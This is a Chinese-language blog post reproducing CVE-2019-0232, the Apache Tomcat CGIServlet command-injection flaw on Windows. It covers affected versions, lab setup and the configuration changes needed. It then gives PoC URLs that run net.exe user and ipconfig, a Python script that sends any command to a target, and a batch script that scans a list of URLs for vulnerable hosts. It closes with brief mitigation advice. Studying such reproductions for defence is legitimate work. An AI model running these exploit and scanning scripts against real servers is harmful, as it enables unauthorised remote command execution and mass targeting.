• Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现


    Tomcat CGIServlet enableCmdLineArguments远程代码执行_CVE-2019-0232漏洞复现

    一、漏洞描述

    该漏洞是由于tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入影响。成功利用此漏洞可允许远程攻击者在目标服务器上执行任意命令,从而导致服务器被完全控制。

    该漏洞只影响windows平台,要求启用CGI Servlet和enableCmdLineArguments参数。但是CGI Servlet默认关闭, enableCmdLineArguments在tomcat 9.0之后默认关闭

    触发该漏洞需要同时满足以下条件:

    1、 系统为windows

    2、 启用了CGI Servlet(默认为关闭)

    3、 启用了enableCmdLineArguments(tomcat 9.0之后默认为关闭)

    二、影响版本

    Apache Tomcat 9.0.0.M1 to 9.0.17

    Apache Tomcat 8.5.0 to 8.5.39

    Apache Tomcat 7.0.0 to 7.0.93

    三、漏洞环境

    目标机:windows 7

    jdk_8u71

    apache tomcat 8.5.2

    1、 java环境搭建,jdk下载、安装

    下载地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html

    2、 测试java环境

      

    3、tomcat下载、安装

    下载地址: https://archive.apache.org/dist/tomcat/

    4、 tomcat环境测试

      

    四、漏洞复现

    1、 打开Tomcat安装目录的C:Program Files (x86)Apache Software FoundationTomcat 8.5confweb.xml修改为如下配置,在默认情况下配置是注释的

      

    2、同时还要修改web.xml以下配置,否则访问cgi目录会提示404

       

    3、修改C:Program Files (x86)Apache Software FoundationTomcat 8.5confcontext.xml,添加privileged="true"

      

    4、在C:Program Files (x86)Apache Software FoundationTomcat 8.5webappsROOTWEB-INF目录新建一个cgi-bin文件夹,在cgi-bin文件夹下创建一个hello.bat的文件,内容如下:

      

    5、 漏洞利用

    POC如下:  #必须使用URL编码进行访问

    http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user

    http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig

      

      

    6、使用python脚本验证目标是否存在漏洞

      脚本如下:

    #author:yuzly
    #description:
    #http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig
    
    import requests
    import sys
    
    url=sys.argv[1]
    url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
    cmd=sys.argv[2]
    
    vuln_url=url+url_dir+cmd
    
    print("Usage:python cve-2019-0232.py url cmd")
    print("the vuln url:
    
    ",vuln_url)
    r=requests.get(vuln_url)
    r.encoding = 'gbk'
    print("
    the vuln response content:
    
    ",r.text)

    7、运行脚本

      

    8、 编写批量自动化验证cve-2018-0232漏洞脚本

    #author:yuzly
    #blogs:https://www.cnblogs.com/yuzly/
    #description:
    #http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig
    
    import requests
    import sys
    
    url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig"   #payload
    
    with open("url.txt") as f:
        while True:
            url=f.readline()
            if url:
                url=url.split("
    ")[0]
                #print(url)
                vuln_url=url+url_dir
                #print(vuln_url)
                try:
                    r=requests.get(vuln_url)
                    #print(r.text)
                    if "IPv4" in r.text:
                        print("[+][+]%s is exist vulnerability[+][+]" %url)
                    else:
                        print("[-]%s is not exist vuln" %url)
                except:
                    print("[!]%s is connection fail[!]" %url)
            else:
                break

    9、 搭建环境测试,运行脚本

      

    五、漏洞防御

    1、 升级版本

    2、 关闭enableCmdLineArguments参数

     

    ---------------------------------------------------------------------------------------

    参考资料:https://xz.aliyun.com/t/4875

    https://github.com/jas502n/CVE-2019-0232

  • 相关阅读:
    结构型模式之桥接模式
    结构型模式之适配器模式
    使用AutoCloseable 实现自动关闭资源
    创建型模式之多例模式
    创建型模式之原型模式
    创建型模式之单例模式
    创建型模式之Builder(建造者)模式
    创建型模式之工厂模式
    JavaScript------对象的使用
    JavaScript------分页插件下载地址
  • 原文地址:https://www.cnblogs.com/yuzly/p/11202398.html
Copyright © 2020-2023  润新知